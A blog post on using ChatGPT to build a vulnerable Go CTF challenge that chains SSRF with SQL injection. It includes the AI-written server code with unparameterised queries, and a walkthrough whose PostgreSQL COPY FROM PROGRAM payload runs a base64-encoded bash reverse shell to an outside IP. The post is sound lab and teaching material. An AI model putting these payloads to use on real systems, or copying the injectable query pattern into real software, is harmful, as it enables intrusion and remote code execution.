So recently my twitter feed got flooded by this new and trending AI ChatGPT by the company OpenAI. Suddenly a lot of security researcher were doing different interesting things with this AI. To my surprise the AI seamed to be very powerful. So I decided to play with it myself a little. Also I did see other researcher doing similar things as I initially intended, so I wanted to try myself.

I was thinking about a thing I can make the AI do for me. And as I already designed a box for HackTheBox which was called Devzat I already had experience designing intentionally vulnerable CTF machines. As the process of designing such a box is long and sometimes tedious I wanted to try and see if the AI can help with this topic.

Rolling for Vulnerabilities

So first of all I went to the page (https://chat.openai.com/chat) and asked the bot a specific question:

Create a golang CTF challenge that chains together an SSRF vulnerability with a SQL injection to achieve Remote Code Execution. Write the full code formatted.

I took a few attempts until the results were fitting to my needs but eventually it spat out the code I was looking for:

Rolling for CTF Code
Rolling for code snippets
package main

import (
	"database/sql"
	"fmt"
	"io"
	"net/http"
	"net/url"

	_ "github.com/go-sql-driver/mysql"
)

func main() {
	http.HandleFunc("/", handleRequest)
	http.ListenAndServe(":8080", nil)
}

func handleRequest(w http.ResponseWriter, r *http.Request) {
	query := r.URL.Query()
	urlString := query.Get("url")

	// check for ssrf vulnerability
	if urlString == "" {
		http.Error(w, "missing url parameter", http.StatusBadRequest)
		return
	}
	parsedURL, err := url.Parse(urlString)
	if err != nil || parsedURL.Scheme == "" || parsedURL.Host == "" {
		http.Error(w, "invalid url parameter", http.StatusBadRequest)
		return
	}

	// make request to url provided in url parameter
	resp, err := http.Get(urlString)
	if err != nil {
		http.Error(w, "error making request to provided url", http.StatusInternalServerError)
		return
	}
	defer resp.Body.Close()

	// extract and sanitize user input from response body
	userInput := sanitizeInput(resp.Body)

	// perform sql injection with user input
	db, err := sql.Open("mysql", "root:toor@tcp(localhost:3306)/test")
	if err != nil {
		http.Error(w, "error connecting to database", http.StatusInternalServerError)
		return
	}
	defer db.Close()

	sqlQuery := fmt.Sprintf("SELECT * FROM users WHERE username='%s'", userInput)
	rows, err := db.Query(sqlQuery)
	if err != nil {
		fmt.Println(err)
		http.Error(w, "error executing sql query", http.StatusInternalServerError)
		return
	}
	defer rows.Close()

	// process and display results
	var username string
	var password string
	for rows.Next() {
		err := rows.Scan(&username, &password)
		if err != nil {
			http.Error(w, "error processing sql query results", http.StatusInternalServerError)
			return
		}
		fmt.Fprintf(w, "username: %s, password: %s\n", username, password)
	}

}

func sanitizeInput(input io.Reader) string {
	// perform input sanitization
}

As we can see from the code above the bot was giving me almost functional code which incorporated a SSRF Vulnerability and a SQL Injection.

All I needed to do to make it work was giving it a little more context. So I added around this code basis a little bits and pieces:

  • I completed the sanitizeInput() function (actually not sanitizing input at all - you are supposed to do it that way, aren’t you?)
  • I added 2 additional routes
    • A route that displays an index page
    • A route that statically returns test-user so it can be inserted into the SQL Statement
  • 2 UI templates, which are embedded into the binary using golangs embed package
    • The index.html shows a button to retrieve the users credentials
    • The display.html then displays the data retrieved from the database

With this setup the challenge was already completed.

One thing I also needed to change. As the bot was providing MySQL as a database driver and I wanted to achieve an easy Remote Code Execution at the end I wanted to swap that out with PostgreSQL. At first I though about which changes I had to introduce to the code until I figured: “Why not let the bot do the changes”:

Swap mysql psql
Letting the AI Swap MySQL with PostgreSQL
Swap mysql psql results
The AI delivered!

Funny enough I want to bring to your attention that the AI also discovered the SQL Injection Vulnerability in the code.

Results

If you want to see the resulting code you can go to github.com/patrickhener/chatgpt-ctf and try out yourself.

Walkthrough

If you first want to try out the challenge yourself then stop reading and do so. Otherwise now here is how to solve it.

The index page will show you a single button:

index page
Index page with single button

If you click it the credentials from the database table will be returned and rendered like pictured below:

display page
Credentials are displayed

As you can tell from the url and also from the codebase the button does the following:

  • It issues a request to the route /fetchCreds
  • Also it does provide a url parameter pointing to the route /getUser
  • This route will return the static string test-user
  • Finally this string will get inserted into the SQL Statement and return the corresponding table row

So what happens if we change the url part and provide other strings here? Lets try. Imagine a payload like:

’ OR 1=1 – -

This should display not only the test-user but all entries of the database table, right?

or 1 eq 1
Using OR 1=1 as payload

I provided the file called or with my tool goshs.

goshs listening on 9090
goshs listening on 9090

From here we can do whatever we desire. For example spawn a reverse shell. The payload for this would look something like this:

test-user’;DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM ’echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIyLzg4ODggMD4mMQ== | base64 -d | bash’;SELECT * FROM cmd_exec;DROP TABLE cmd_exec; – -

Within the base64 blob there is a reverse shell oneliner I took from https://revshells.com.

The result will be a revese shell spawning on port 8888 like so:

revshell via psql
Revshell using PostgreSQL FROM PROGRAM

Summary

So the AI is capable of doing a lot of crazy things. Still I had to code a good amount around the vulnerable code snippet it provided for it being a “complete challenge”.

Thanks for reading and as always stay safe ❤️